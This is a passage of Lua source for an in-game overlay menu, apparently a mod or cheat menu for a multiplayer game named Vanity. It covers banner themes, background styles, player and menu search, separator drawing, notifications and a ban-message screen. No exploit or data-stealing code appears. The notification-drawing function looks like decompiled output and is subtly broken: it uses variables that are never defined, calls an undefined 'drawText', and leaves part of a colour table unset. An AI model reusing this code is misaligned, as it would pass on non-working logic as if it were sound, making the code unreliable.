string.lower(tostring(Ham.getName() or "")) if username == "brascowhite" then menu.functions.selectCommunityBannerTheme({ funcArg = "brascowhite" }) return end menu.functions.selectBannerThemeByKey({ funcArg = { colorTheme = "blue", themeKey = menu.textureLoading.getStartupThemeKey() } }) end function assembledMenuFunctions.selectCommunityBannerTheme(options) local themeKey = options and options.funcArg if not themeKey then return end local keys = menu.utils.getSortedThemeKeys("community") local themeIndex = 1 for index, key in ipairs(keys) do if key == themeKey then themeIndex = index break end end for index, name in ipairs(menu.vars.colorThemeNames or {}) do if name == "community" then menu.vars.selectors.color = index break end end menu.vars.currentColorTheme = "community" menu.vars.selectors.theme = themeIndex menu.functions.applyTheme() menu.utils.refreshBannerSubmenu() end function assembledMenuFunctions.selectAdminBannerTheme(options) if not menu.utils.hasAdminSubmenuAccess() then return end local themeKey = options and options.funcArg if not themeKey then return end local keys = menu.utils.getSortedThemeKeys("adminbanners") local themeIndex = 1 for index, key in ipairs(keys) do if key == themeKey then themeIndex = index break end end for index, name in ipairs(menu.vars.colorThemeNames or {}) do if name == "adminbanners" then menu.vars.selectors.color = index break end end menu.vars.currentColorTheme = "adminbanners" menu.vars.selectors.theme = themeIndex menu.functions.applyTheme() menu.utils.refreshBannerSubmenu() end function assembledMenuFunctions.applyBannerMainThemeSelector(value) if menu.utils and menu.utils.applyBannerMainThemeSelector then return menu.utils.applyBannerMainThemeSelector(value) end end function assembledMenuFunctions.applyBackgroundStyle(style) local styleName if type(style) == "string" then styleName = style else local names = { "Solid", "Black", "Transparent", "Main", "Magic" } local index = tonumber(style) or menu.vars.selectors.backgroundStyle or 5 styleName = names[index] or "Magic" end menu.vars.backgroundTexture = nil if styleName == "Black" then menu.drawing.colors.bg_dark_1 = { 0, 0, 0, 255 } menu.drawing.colors.bg_dark_2 = { 5, 5, 5, 255 } menu.drawing.colors.bg_dark_3 = { 10, 10, 10, 255 } elseif styleName == "Magic" then menu.drawing.colors.bg_dark_1 = { 0, 0, 0, 245 } menu.drawing.colors.bg_dark_2 = { 0, 0, 0, 245 } menu.drawing.colors.bg_dark_3 = { 0, 0, 0, 245 } elseif styleName == "Transparent" then menu.drawing.colors.bg_dark_1 = { 12, 12, 14, 95 } menu.drawing.colors.bg_dark_2 = { 16, 16, 18, 105 } menu.drawing.colors.bg_dark_3 = { 20, 20, 22, 95 } elseif styleName == "Main" then menu.drawing.colors.bg_dark_1 = { 0, 0, 0, 120 } menu.drawing.colors.bg_dark_2 = { 5, 5, 5, 130 } menu.drawing.colors.bg_dark_3 = { 10, 10, 10, 120 } menu.vars.backgroundTexture = "bgMain" if menu.textureLoading and menu.textureLoading.ensureBgTextureLoading then menu.textureLoading.ensureBgTextureLoading() end else menu.drawing.colors.bg_dark_1 = { 8, 8, 10, 230 } menu.drawing.colors.bg_dark_2 = { 22, 22, 26, 240 } menu.drawing.colors.bg_dark_3 = { 28, 28, 32, 230 } end menu.vars.backgroundStyleName = styleName end function assembledMenuFunctions.cleanupExpiredNotifications() if not menu.vars.notifications then return end for index = #menu.vars.notifications, 1, -1 do local notification = menu.vars.notifications[index] if not notification or type(notification) ~= "table" or notification._expired then table.remove(menu.vars.notifications, index) end end end function assembledMenuFunctions.applyMenuWidthPreset(scale, presetName) local resolutionX = menu.vars.resolution and menu.vars.resolution.x or select(1, Ham.getResolution()) local baseWidth = 470 local widthScale = resolutionX / 2560.0 widthScale = math.max(0.9, math.min(1.2, widthScale)) menu.vars.widthScaleFactor = widthScale menu.vars.widthResScaling = scale menu.vars.currentMenuSizePreset = presetName menu.vars.width = roundNearest(baseWidth * widthScale * scale) if menu.logic and menu.logic.refreshSubmenuByTitle then menu.logic.refreshSubmenuByTitle("Size") end menu.utils.notify("Menu size preset " .. presetName .. " applied", "success", 2000) end function assembledMenuFunctions.applySelectionBarSmooth(value) local styleName if type(value) == "string" then styleName = value else local names = { "Normal", "Smooth", "Very Smooth" } local index = tonumber(value) or menu.vars.selectors.selectionBarSmooth or 2 index = math.max(1, math.min(#names, index)) menu.vars.selectors.selectionBarSmooth = index styleName = names[index] or "Normal" end if styleName == "Very Smooth" then menu.vars.selectors.selectionBarSpeedMultiplier = 0.3 elseif styleName == "Smooth" then menu.vars.selectors.selectionBarSpeedMultiplier = 0.55 else menu.vars.selectors.selectionBarSpeedMultiplier = 1.0 end end function assembledMenuFunctions.openPlayerSearch() menu.ui.promptText( { title = "Player Search", label = "Filter by Name", default = menu.vars.playerSearchFilter or "", maxLen = 32 }, function(text, cancelled) if cancelled then return end if text and text ~= "" then menu.vars.playerSearchFilter = string.lower(text) else menu.vars.playerSearchFilter = nil end menu.logic.updatePlayerList() end ) end function assembledMenuFunctions.openMenuSearch() if not menu.vars.visible then return end menu.ui.promptText( { title = "Menu Search", label = "Search entire menu", default = "", maxLen = 48 }, function(text, cancelled) if cancelled or not text then return end local query = string.lower(string.gsub(text, "^%s*(.-)%s*$", "%1")) if query == "" then return end local matches = menu.logic.collectGlobalMenuSearchMatches(query) if #matches == 0 then return end table.sort(matches, function(a, b) if a.groupKey ~= b.groupKey then return a.groupKey < b.groupKey end return tostring(a.targetName) < tostring(b.targetName) end) local groups = {} for _, match in ipairs(matches) do groups[match.groupKey] = true end local groupCount = 0 for _ in pairs(groups) do groupCount = groupCount + 1 end local multipleGroups = groupCount > 1 local options = {} local previousGroup for _, match in ipairs(matches) do if multipleGroups and previousGroup ~= nil and match.groupKey ~= previousGroup then table.insert(options, { name = match.separatorLabel or "", type = "seperator" }) end previousGroup = match.groupKey if match.option then local option = menu.logic._searchCloneOption(match.option, match.groupKey) option._searchMatch = match table.insert(options, option) else local searchMatch = match table.insert(options, { name = match.targetName, type = "button", description = match.groupKey, func = function() local current = menu.vars.navigationStack[#menu.vars.navigationStack] if current and current._isSearchResults then table.remove(menu.vars.navigationStack) end menu.logic.navigateToSearchMatch(searchMatch) end }) end end local current = menu.vars.navigationStack[#menu.vars.navigationStack] local previousOptions = current and menu.logic.getNodeOptions(current) or {} menu.logic.triggerAnimation("in", previousOptions, options) table.insert( menu.vars.navigationStack, { title = "Search: " .. text, options = options, _isSearchResults = true } ) menu.vars.scrollOffset = 0 menu.vars.currentOption = menu.logic.findFirstSelectableOption(options) end ) end function assembledMenuFunctions.clearPlayerSearch() menu.vars.playerSearchFilter = nil menu.logic.updatePlayerList() end menuTargetForFunctions.functions = assembledMenuFunctions end do local menuTargetForDrawing = menu local assembledMenuDrawing = {} local pendingDrawingValue = { primary = { 180, 20, 20, 255 }, primary_light = { 220, 40, 40, 255 }, primary_dark = { 110, 15, 15, 255 }, accent = { 255, 193, 7, 255 }, accent_dark = { 210, 150, 0, 255 }, bg_dark_1 = { 12, 12, 14, 95 }, bg_dark_2 = { 16, 16, 18, 105 }, bg_dark_3 = { 20, 20, 22, 95 }, bg_hover = { 45, 45, 52, 200 }, bg_selected = { 26, 168, 26, 80 }, text_primary = { 255, 255, 255, 255 }, text_secondary = { 255, 255, 255, 255 }, text_muted = { 150, 150, 155, 255 }, text_accent = { 255, 193, 7, 255 }, success = { 46, 204, 113, 255 }, warning = { 241, 196, 15, 255 }, error = { 231, 76, 60, 255 }, info = { 52, 152, 219, 255 }, toggle_off = { 68, 68, 78, 255 }, toggle_thumb = { 255, 255, 255, 255 }, border_light = { 60, 60, 70, 255 }, border_dark = { 35, 35, 40, 255 }, outline = { 30, 90, 210, 200 }, bg_dark_1_old = { 18, 18, 20, 245 }, primary_light_old = { 30, 144, 255, 255 }, primary_dark_old = { 10, 80, 160, 255 } } pendingMenuEntry17 = pendingDrawingValue.primary_dark_old assembledMenuDrawing.colors = pendingDrawingValue function assembledMenuDrawing.getHudPanelBackgrounds() local base = { 8, 8, 10, 230 } local lighter = { base[1], base[2], base[3], math.min(255, base[4] + 8) } local darker = { base[1], base[2], base[3], math.max(0, base[4] - 55) } return base, lighter, darker end function assembledMenuDrawing.drawSeparator(separatorOptions) local label = tostring(separatorOptions.label or "") local separatorX = separatorOptions.x_pos local currentY = separatorOptions.current_y local optionHeight = separatorOptions.optionHeight local scale = separatorOptions.scale or menu.vars.scale or 1.0 local targetFont = separatorOptions.targetFont local width = separatorOptions.menuWidth or menu.vars.width local style = "Ribbon" local padding = roundNearest(12 * scale) local centerX = separatorX + roundNearest(width / 2) local centerY = currentY + roundNearest(optionHeight / 2) local leftX = separatorX + padding local rightX = separatorX + roundNearest(width) - padding local fontSize = math.max(14, (targetFont and targetFont.font_size or 18) - 5) local textWidth = 0 if label ~= "" then textWidth = select(1, Ham.getTextWidth(label)) end local textMargin = roundNearest(10 * scale) if style == "Classic" then local primary = menu.drawing.colors.text_primary or { 255, 255, 255, 255 } local lineColor = { primary[1] or 255, primary[2] or 255, primary[3] or 255, 255 } local leftEdge = label ~= "" and centerX - math.floor(textWidth / 2) - textMargin or centerX - textMargin local rightEdge = label ~= "" and centerX + math.floor(textWidth / 2) + textMargin or centerX + textMargin local lineHeight = math.max(1, roundNearest(scale)) if leftX < leftEdge then Ham.drawRectFilled({ leftX, centerY, leftEdge - leftX, lineHeight }, lineColor, 1, 0) end if rightX > rightEdge then Ham.drawRectFilled({ rightEdge, centerY, rightX - rightEdge, lineHeight }, lineColor, 1, 0) end if label == "" then return end local position = { centerX, centerY - roundNearest(fontSize / 2) } Ham.drawText(label, position, lineColor, fontSize, true, true, { 0, 0, 0, 255 }) Ham.drawText(label, position, lineColor, fontSize, true, false, {}) return end if style == "Modern" then local primary = menu.drawing.colors.primary or { 30, 90, 210, 255 } local light = menu.drawing.colors.primary_light or primary local barWidth = math.max(3, roundNearest(3 * scale)) local barHeight = roundNearest(optionHeight * 0.55) local barX = leftX local barY = currentY + roundNearest((optionHeight - barHeight) / 2) Ham.drawRectFilled( { barX, barY, barWidth, barHeight }, { primary[1], primary[2], primary[3], 220 }, roundNearest(2 * scale), roundNearest(2 * scale) ) local underlineY = currentY + optionHeight - roundNearest(3 * scale) Ham.drawRectFilled( { leftX, underlineY, rightX - leftX, math.max(1, roundNearest(scale)) }, { light[1], light[2], light[3], 45 }, 1, 0 ) if label == "" then return end local textColor = menu.drawing.colors.text_muted or { 150, 150, 155, 255 } local textX = barX + barWidth + roundNearest(10 * scale) local position = { textX, currentY + roundNearest((optionHeight - fontSize) / 2) } Ham.drawText(label, position, textColor, fontSize, false, true, { 0, 0, 0, 180 }) Ham.drawText(label, position, textColor, fontSize, false, false, {}) return end if style == "Minimal" then local lineColor = { 255, 255, 255, 28 } local lineHeight = math.max(1, roundNearest(scale)) Ham.drawRectFilled({ leftX, centerY, rightX - leftX, lineHeight }, lineColor, 1, 0) if label == "" then return end local textColor = menu.drawing.colors.text_muted or { 150, 150, 155, 255 } local horizontalPadding = roundNearest(8 * scale) local verticalPadding = roundNearest(3 * scale) local boxWidth = textWidth + horizontalPadding * 2 local boxHeight = fontSize + verticalPadding * 2 local boxX = centerX - math.floor(boxWidth / 2) local boxY = centerY - math.floor(boxHeight / 2) local background = menu.drawing.colors.bg_dark_3 or { 20, 20, 22, 230 } local color = { background[1], background[2], background[3], math.min(255, (background[4] or 230) + 25) } Ham.drawRectFilled( { boxX, boxY, boxWidth, boxHeight }, color, roundNearest(4 * scale), roundNearest(4 * scale) ) local position = { centerX, centerY - roundNearest(fontSize / 2) } Ham.drawText(label, position, textColor, fontSize, true, true, { 0, 0, 0, 180 }) Ham.drawText(label, position, textColor, fontSize, true, false, {}) return end if style == "Ribbon" then local texture = menu.textures and menu.textures.separator or nil if menu.textureLoading and menu.textureLoading.ensureSeparatorTextureLoading then menu.textureLoading.ensureSeparatorTextureLoading() texture = menu.textures and menu.textures.separator or nil end local primary = menu.drawing.colors.primary or { 255, 255, 255, 255 } local ribbonColor = { primary[1] or 255, primary[2] or 255, primary[3] or 255, 255 } local ribbonHeight = roundNearest(optionHeight * 0.75) local ribbonY = centerY - math.floor(ribbonHeight / 2) local ribbonLeftX = separatorX local ribbonRightX = separatorX + roundNearest(width) if label ~= "" then local ribbonFontSize = math.max(17, (targetFont and targetFont.font_size or 18) + 1) local ribbonTextWidth = textWidth * (ribbonFontSize / fontSize) local ribbonIconSize = ribbonFontSize local ribbonIconSpan = separatorOptions.icon and roundNearest(ribbonIconSize + 6 * scale) or 0 local ribbonIconHeight = ribbonIconSize local ribbonLabelHeight = ribbonFontSize if separatorOptions.icon then local iconFont = menu.fonts.faSolid or menu.fonts.icons local metricsKey = label .. ":" .. separatorOptions.icon .. ":" .. tostring(ribbonFontSize) .. ":" .. tostring(scale) .. ":" .. tostring(targetFont.font) .. ":" .. tostring(iconFont) if not menu.vars.separatorIconMetrics then menu.vars.separatorIconMetrics = {} end local metrics = menu.vars.separatorIconMetrics[metricsKey] if not metrics then Ham.setFont(targetFont.font) local measuredLabelWidth, measuredLabelHeight = Ham.getTextWidth(label) local targetFontSize = targetFont.font_size or ribbonFontSize local labelScale = ribbonFontSize / targetFontSize local labelHeight = measuredLabelHeight and measuredLabelHeight > 0 and measuredLabelHeight * labelScale or ribbonFontSize ribbonLabelHeight = labelHeight Ham.setFont(iconFont) local measuredIconWidth, measuredIconHeight = Ham.getTextWidth(separatorOptions.icon) local baseIconFontSize = math.max(1, math.floor((menu.fonts.faSolid and 20 or 16) * scale)) if measuredIconHeight and measuredIconHeight > 0 then ribbonIconSize = labelHeight * baseIconFontSize / measuredIconHeight end local measuredIconSize = ribbonIconSize local iconScale = measuredIconSize / baseIconFontSize local scaledIconHeight = measuredIconHeight and measuredIconHeight > 0 and measuredIconHeight * iconScale or measuredIconSize ribbonIconHeight = scaledIconHeight metrics = { width = (measuredLabelWidth or 0) * labelScale, labelHeight = labelHeight, iconSize = measuredIconSize, iconHeight = scaledIconHeight, span = (measuredIconWidth or baseIconFontSize) * iconScale + roundNearest(6 * scale) } menu.vars.separatorIconMetrics[metricsKey] = metrics Ham.setFont(targetFont.font) end ribbonLabelHeight = metrics.labelHeight ribbonTextWidth = metrics.width ribbonIconSpan = metrics.span ribbonIconHeight = metrics.iconHeight ribbonIconSize = metrics.iconSize end local labelPadding = roundNearest(12 * scale) local combinedHalfWidth = math.floor((ribbonTextWidth + ribbonIconSpan) / 2) local leftEdge = centerX - combinedHalfWidth - labelPadding local rightEdge = centerX + combinedHalfWidth + labelPadding if texture then if ribbonLeftX < leftEdge then Ham.drawTexture( texture, { ribbonLeftX, ribbonY }, { leftEdge, ribbonY + ribbonHeight }, ribbonColor, 0, {} ) end if ribbonRightX > rightEdge then Ham.drawTexture( texture, { rightEdge, ribbonY }, { ribbonRightX, ribbonY + ribbonHeight }, ribbonColor, 0, {} ) end else local lineHeight = math.max(2, roundNearest(2 * scale)) if ribbonLeftX < leftEdge then Ham.drawRectFilled( { ribbonLeftX, centerY - math.floor(lineHeight / 2), leftEdge - ribbonLeftX, lineHeight }, ribbonColor, roundNearest(3 * scale), 0 ) end if ribbonRightX > rightEdge then Ham.drawRectFilled( { rightEdge, centerY - math.floor(lineHeight / 2), ribbonRightX - rightEdge, lineHeight }, ribbonColor, roundNearest(3 * scale), 0 ) end end local textY = centerY - roundNearest(ribbonFontSize / 2) - roundNearest(4 * scale) if separatorOptions.icon then Ham.setFont(menu.fonts.faSolid or menu.fonts.icons) local iconPosition = { centerX - combinedHalfWidth, textY + roundNearest((ribbonLabelHeight - ribbonIconHeight) / 2) } Ham.drawText( separatorOptions.icon, iconPosition, { 255, 255, 255, 255 }, ribbonIconSize, false, true, { 0, 0, 0, 200 } ) Ham.drawText( separatorOptions.icon, iconPosition, { 255, 255, 255, 255 }, ribbonIconSize, false, false, {} ) Ham.setFont(targetFont.font) end local position = { centerX + math.floor(ribbonIconSpan / 2), textY } Ham.drawText(label, position, { 255, 255, 255, 255 }, ribbonFontSize, true, true, { 0, 0, 0, 200 }) Ham.drawText(label, position, { 255, 255, 255, 255 }, ribbonFontSize, true, false, {}) return end if texture then Ham.drawTexture( texture, { ribbonLeftX, ribbonY }, { ribbonRightX, ribbonY + ribbonHeight }, ribbonColor, 0, {} ) return end local lineHeight = math.max(2, roundNearest(2 * scale)) Ham.drawRectFilled( { ribbonLeftX, centerY - math.floor(lineHeight / 2), ribbonRightX - ribbonLeftX, lineHeight }, ribbonColor, roundNearest(3 * scale), 0 ) return end if style == "Accent" then local primary = menu.drawing.colors.primary or { 30, 90, 210, 255 } local lineColor = { primary[1], primary[2], primary[3], 110 } local textColor = menu.drawing.colors.text_muted or { 150, 150, 155, 255 } local lineHeight = math.max(2, roundNearest(2 * scale)) local radius = math.max(1, math.floor(lineHeight / 2)) local leftEdge = label ~= "" and centerX - math.floor(textWidth / 2) - textMargin or centerX local rightEdge = label ~= "" and centerX + math.floor(textWidth / 2) + textMargin or centerX if label == "" then local lineWidth = roundNearest((rightX - leftX) * 0.55) Ham.drawRectFilled( { centerX - math.floor(lineWidth / 2), centerY - math.floor(lineHeight / 2), lineWidth, lineHeight }, lineColor, radius, 0 ) else if leftX < leftEdge then Ham.drawRectFilled( { leftX, centerY - math.floor(lineHeight / 2), leftEdge - leftX, lineHeight }, lineColor, radius, 0 ) end if rightX > rightEdge then Ham.drawRectFilled( { rightEdge, centerY - math.floor(lineHeight / 2), rightX - rightEdge, lineHeight }, lineColor, radius, 0 ) end local position = { centerX, centerY - roundNearest(fontSize / 2) } Ham.drawText(label, position, textColor, fontSize, true, true, { 0, 0, 0, 180 }) Ham.drawText(label, position, textColor, fontSize, true, false, {}) end end end function assembledMenuDrawing.getNotifyTypeColor() local primary = menu.drawing and menu.drawing.colors and menu.drawing.colors.primary if primary then return { primary[1], primary[2], primary[3], 255 } end return { 255, 255, 255, 255 } end function assembledMenuDrawing.drawHudHeaderStylePanel(x, y, width, height, scale, options) options = options or {} local alpha = options.alpha ~= nil and options.alpha / 255 or 1 local radius = options.cornerRadius or roundNearest(6 * (scale or 1)) radius = math.min(radius, math.floor(height / 2), math.floor(width / 2)) local lastRadius = roundNearest(12 * (scale or 1)) local backgroundAlpha = math.floor((options.bgAlpha or 255) * alpha) Ham.drawRectFilled({ x, y, width, height }, { 0, 0, 0, backgroundAlpha }, radius, lastRadius) end function assembledMenuDrawing.drawRoundedRectGradient(bounds, topColor, bottomColor, radius) local x, y, width, height = bounds[1], bounds[2], bounds[3], bounds[4] if width <= 0 or height <= 0 then return end radius = math.max(0, math.floor(math.min(radius or 0, width / 2, height / 2))) local function colorAt(offset) local ratio = math.max(0, math.min(1, offset / height)) local color = {} for channel = 1, 4 do color[channel] = math.floor(topColor[channel] + (bottomColor[channel] - topColor[channel]) * ratio) end return color end local function drawStrip(offset, stripHeight, inset) Ham.drawRectGradient( { x + inset, y + offset, width - inset * 2, stripHeight }, colorAt(offset), colorAt(offset + stripHeight), true ) end for row = 0, radius - 1 do local distance = radius - row - 0.5 local span = math.sqrt(math.max(0, radius * radius - distance * distance)) local inset = math.ceil(radius - span) drawStrip(row, 1, inset) drawStrip(height - row - 1, 1, inset) end if height > radius * 2 then drawStrip(radius, height - radius * 2, 0) end end function assembledMenuDrawing.drawMagicNotificationBackground(x, y, width, height, scale, color, alpha) if alpha <= 0 or width <= 0 or height <= 0 then return end Ham.drawRectFilled({ x, y, width, height }, { 0, 0, 0, math.min(255, alpha) }, roundNearest(6 * scale), 12) end function assembledMenuDrawing.drawNotificationsClassic() if not menu.vars.notifications or type(menu.vars.notifications) ~= "table" or #menu.vars.notifications == 0 then return end if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end local protectedCall = pcall do local function tryDrawNotificationsClassicAction() local scale = menu.vars.scale or 1 local resolutionX, resolutionY = Ham.getResolution() if not resolutionX or resolutionX == 0 then return end local currentTime = GetGameTimer() local notifyFont = menu.fonts and menu.fonts.notify local customFont = notifyFont and notifyFont.font local baseFontSize = notifyFont and notifyFont.font_size or math.floor(16 * scale) local maxNotifications = 5 local enterDuration = 260 local exitDuration = 200 local spacing = roundNearest(8 * scale) local currentY = roundNearest(resolutionY * 0.05) local useCustomFont = customFont local notificationSpacing = spacing local nextNotificationY = currentY local currentNotification, notificationPanelHeight, notificationElapsed, notificationExpirationTime local notificationTextY, notificationTextX, notificationWorkingValue, notificationText, notificationTextPosition, notificationTextColor, notificationTextSize, notificationShadowColor, notificationAlpha local function easeOutCubic(value) value = math.max(0, math.min(1, value)) return 1 - math.pow(1 - value, 3) end local function square(value) value = math.max(0, math.min(1, value)) return value * value end for notificationIndex = 1, math.min(#menu.vars.notifications, maxNotifications) do local notification = menu.vars.notifications[notificationIndex] do local shouldExitRegion834 = false repeat repeat if notification then if type(notification) ~= "table" then break end currentY = nextNotificationY currentNotification = notification local large = notification.large == true local textSize = large and math.floor(baseFontSize * 1.88) or baseFontSize local panelHeight = roundNearest( large and math.max(48 * scale, textSize + 18 * scale) or 32 * scale ) local startTime = tonumber(notification.startTime) or currentTime local enterDelay = tonumber(notification.enterDelay) or 0 local elapsed = math.max(0, currentTime - startTime - enterDelay) local duration = tonumber(notification.duration) or 2500 local expirationTime = enterDelay + duration + exitDuration local alpha local offsetY = 0 if elapsed <= 0 then alpha = 0 offsetY = roundNearest(-16 * scale) elseif elapsed < enterDuration then local progress = easeOutCubic(elapsed / enterDuration) alpha = math.floor(progress * 255) offsetY = roundNearest((1 - progress) * -16 * scale) elseif elapsed > duration then local progress = math.min(1.0, (elapsed - duration) / exitDuration) local eased = square(progress) alpha = math.floor((1.0 - eased) * 255) offsetY = roundNearest(-eased * 10 * scale) else alpha = 255 end alpha = math.max(0, math.min(255, alpha)) local text = menu.utils.formatNotifyClassicText(notification) local hasLogo = menu.textures and menu.textures.notifyLogo ~= nil local logoHeight = roundNearest((large and 26 or 20) * scale) local logoWidth = roundNearest((large and 26 or 20) * scale) local logoMargin = roundNearest(5 * scale) if hasLogo then logoMargin = roundNearest(3 * scale) else logoMargin = 0 end local logoSpan = hasLogo and logoMargin + logoWidth + roundNearest(3 * scale) or 0 local textWidth = 0 if customFont then Ham.setFont(notifyFont.font) textWidth = select(1, Ham.getTextWidth(text)) or 0 Ham.resetFont() local measuredFontSize = notifyFont.font_size if not measuredFontSize or measuredFontSize <= 0 then measuredFontSize = textSize end if measuredFontSize > 0 and textWidth > 0 then textWidth = textWidth * (textSize / measuredFontSize) else textWidth = math.max(1, #text) * textSize * 0.52 end else textWidth = math.max(1, #text) * textSize * 0.52 end local textPadding = roundNearest((large and 12 or 10) * scale) local rightPadding = not hasLogo and roundNearest((large and 12 or 10) * scale) or 0 local textOffset = hasLogo and logoSpan or rightPadding local contentWidth = textOffset + textWidth + textPadding local panelWidth = math.max( roundNearest(18 * scale), math.min(roundNearest(resolutionX * 0.98), contentWidth) ) local panelX = roundNearest((resolutionX - panelWidth) / 2) local panelY = currentY + offsetY local typeColor = menu.drawing.getNotifyTypeColor() menu.drawing.drawMagicNotificationBackground( panelX, panelY, panelWidth, panelHeight, scale, typeColor, alpha ) if hasLogo then local logoX = panelX + logoMargin local logoY = currentY + offsetY + roundNearest((panelHeight - logoHeight) / 2) Ham.drawTexture( menu.textures.notifyLogo, { logoX, logoY }, { logoX + logoWidth, logoY + logoHeight }, { 255, 255, 255, alpha }, 0, {} ) end if customFont then Ham.setFont(notifyFont.font) end local textY = currentY + offsetY + math.max(2, roundNearest((panelHeight - textSize) / 2)) local textX = panelX + (hasLogo and logoSpan or rightPadding) notificationPanelHeight = panelHeight notificationElapsed = elapsed notificationExpirationTime = expirationTime notificationTextY = textY notificationTextX = textX do notificationText = text notificationTextPosition = { textX, textY } notificationTextColor = { 255, 255, 255, alpha } notificationTextSize = textSize notificationShadowColor = {} notificationAlpha = alpha notificationShadowColor[2] = 0 notificationShadowColor[3] = 0 notificationShadowColor[4] = notificationAlpha drawText( notificationText, notificationTextPosition, notificationTextColor, notificationTextSize, false, true, notificationShadowColor ) end notificationWorkingValue = Ham.drawText notificationText = notificationTextContent notificationTextPosition = { notificationTextX, notificationTextY } notificationTextColor = { 255, 255, 255, notificationAlphaValue } notificationTextSize = notificationFontSizeAndExpiryMarker notificationShadowColor = {} notificationWorkingValue( notificationText, notificationTextPosition, notificationTextColor, notificationTextSize, false, false, notificationShadowColor ) if useCustomFont then Ham.resetFont() end notificationWorkingValue = nextNotificationY + notificationPanelHeight nextNotificationY = notificationWorkingValue + notificationSpacing if not (notificationElapsed >= notificationExpirationTime) then shouldExitRegion834 = true break end currentNotification._expired = true shouldExitRegion834 = true break end until true if shouldExitRegion834 then break end notificationList = menu.vars.notifications notificationFontSizeAndExpiryMarker = { _expired = true } notificationList[loopIndex804] = notificationFontSizeAndExpiryMarker until true end end end end protectedCall(tryDrawNotificationsClassicAction) protectedCall = menu.functions.cleanupExpiredNotifications protectedCall() end function assembledMenuDrawing.drawNotifications() local drawNotificationsClassic = menu.drawing.drawNotificationsClassic drawNotificationsClassic() end function assembledMenuDrawing.drawInterfacePanel(x, y, width, height, scale, alpha, radius) if not alpha then alpha = 1 end local function scaleAlpha(color) local result = {} local red = color[1] local green = color[2] local blue = color[3] local sourceAlpha = color[4] if not sourceAlpha then sourceAlpha = 255 end sourceAlpha = sourceAlpha * alpha local packed = table.pack(math.floor(sourceAlpha)) rawset(result, 1, red) rawset(result, 2, green) rawset(result, 3, blue) for index = 1, packed.n do rawset(result, 3 + index, packed[index]) end return result end Ham.drawRectFilled({ x, y, width, height }, scaleAlpha({ 0, 0, 0, 255 }), radius, 14) local primaryColor = menu.drawing.colors.primary local roundedRadius = math.min(radius, math.floor(height / 2), math.floor(width / 2)) local function drawStrip(offset, stripHeight, inset) local topAlpha = 64 * (1 - offset / height) local bottomAlpha = 64 * (1 - (offset + stripHeight) / height) local bounds = { x + inset, y + offset, width - inset * 2, stripHeight } local topColor = scaleAlpha({ primaryColor[1], primaryColor[2], primaryColor[3], topAlpha }) local bottomColor = scaleAlpha({ primaryColor[1], primaryColor[2], primaryColor[3], bottomAlpha }) Ham.drawRectGradient(bounds, topColor, bottomColor, true) end for row = 0, roundedRadius - 1, 1 do local distance = roundedRadius - row - 0.5 local span = math.sqrt(math.max(0, roundedRadius * roundedRadius - distance * distance)) local inset = math.ceil(roundedRadius - span) drawStrip(row, 1, inset) drawStrip(height - row - 1, 1, inset) end if height > roundedRadius * 2 then drawStrip(roundedRadius, height - roundedRadius * 2, 0) end Ham.pushClipRect({ x + roundedRadius, y }, { x + width - roundedRadius, y + height }, true) menu.drawing.drawMagicStars(x, y, width, height, scale, alpha) Ham.popClipRect() end function assembledMenuDrawing.drawBlacklistMessage() if not menu.vars.blacklisted then return end if GetGameTimer() > menu.vars.blacklistDisplayTime then return end if menu.vars.initLoading and menu.vars.initLoading.active then return end if not menu.fonts or not menu.fonts.title then return end if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end if menu.textureLoading and menu.textureLoading.ensureVanityBrandLogoLoading then menu.textureLoading.ensureVanityBrandLogoLoading() end local uiScale = menu.vars.scale or 1 local screenWidth, screenHeight = Ham.getResolution() local remainingTime = menu.vars.blacklistDisplayTime - GetGameTimer() local fadeAlpha = 1 if remainingTime < 5000 then fadeAlpha = math.max(0, remainingTime / 5000) end local function scaleBlacklistAlpha(color) local result = {} local sourceAlpha = color[4] if not sourceAlpha then sourceAlpha = 255 end local packed = table.pack(math.floor(sourceAlpha * fadeAlpha)) rawset(result, 1, color[1]) rawset(result, 2, color[2]) rawset(result, 3, color[3]) for index = 1, packed.n do rawset(result, 3 + index, packed[index]) end return result end local whiteColor = scaleBlacklistAlpha({ 255, 255, 255, 255 }) local mutedColor = scaleBlacklistAlpha({ 160, 160, 160, 255 }) local softColor = scaleBlacklistAlpha({ 230, 230, 230, 255 }) local primaryColor = scaleBlacklistAlpha(menu.drawing.colors.primary) local titleFont = menu.fonts.title local bodyFont = menu.fonts.main and menu.fonts.main.font or titleFont local isBlacklistError = menu.vars.blacklistUiMode == "error" local blacklistMessage = menu.vars.blacklistMessage or "" local blacklistLines = {} local blacklistBannedBy = nil local function appendBlacklistLine(rawLine) local input = rawLine or "" local line = input:match("^%s*(.-)%s*$") or "" if line == "" then return end line = line:gsub("^[Bb]lacklisted [Bb]y:?%s*", "Banned by: ") line = line:gsub("^[Aa]dmin:%s*", "Banned by: ") line = line:gsub("^[Bb]anned [Bb]y:?%s*", "Banned by: ") line = line:gsub("^Reason:%s*\"(.+)\"%s*$", "Reason: %1") if line:lower():find("^banned by:", 1) then if isBlacklistError then return end blacklistBannedBy = line return end if isBlacklistError then line = line:gsub("%.%s*$", "") end table.insert(blacklistLines, line) end for messageLine in string.gmatch(blacklistMessage, "([^\n]+)") do local lowered = messageLine:lower() local excluded = lowered:find("if you believe this was a mistake", 1, true) if not excluded then excluded = lowered:find("appeal your ban", 1, true) end if not excluded then excluded = lowered:find("open a ticket on our discord", 1, true) end if not excluded then excluded = lowered:find("discord.gg/vanitymenu", 1, true) end if not excluded then excluded = lowered:find("you are blacklisted from vanity", 1, true) end if not excluded then if messageLine:find(" | ", 1, true) then for segment in string.gmatch(messageLine, "([^|]+)") do appendBlacklistLine(segment) end else appendBlacklistLine(messageLine) end end end local username = tostring(Ham.getName() or "N/A") local rawId if Ham.getId then rawId = Ham.getId() or "N/A" else rawId = "N/A" end local userId = tostring(rawId) if not isBlacklistError then table.insert(blacklistLines, "Username: " .. username) table.insert(blacklistLines, "ID: " .. userId) if not blacklistBannedBy then blacklistBannedBy = "Banned by: System" end end local contentPadding = roundNearest(20 * uiScale) local headingFontSize = roundNearest(22 * uiScale) local subtitleFontSize = roundNearest(13 * uiScale) local regularFontSize = roundNearest(14 * uiScale) local emphasisFontSize = roundNearest(16 * uiScale) local messageLineHeight if isBlacklistError then messageLineHeight = roundNearest(16 * uiScale) end messageLineHeight = messageLineHeight or regularFontSize local footerLineHeight = regularFontSize local smallFontSize = roundNearest(13 * 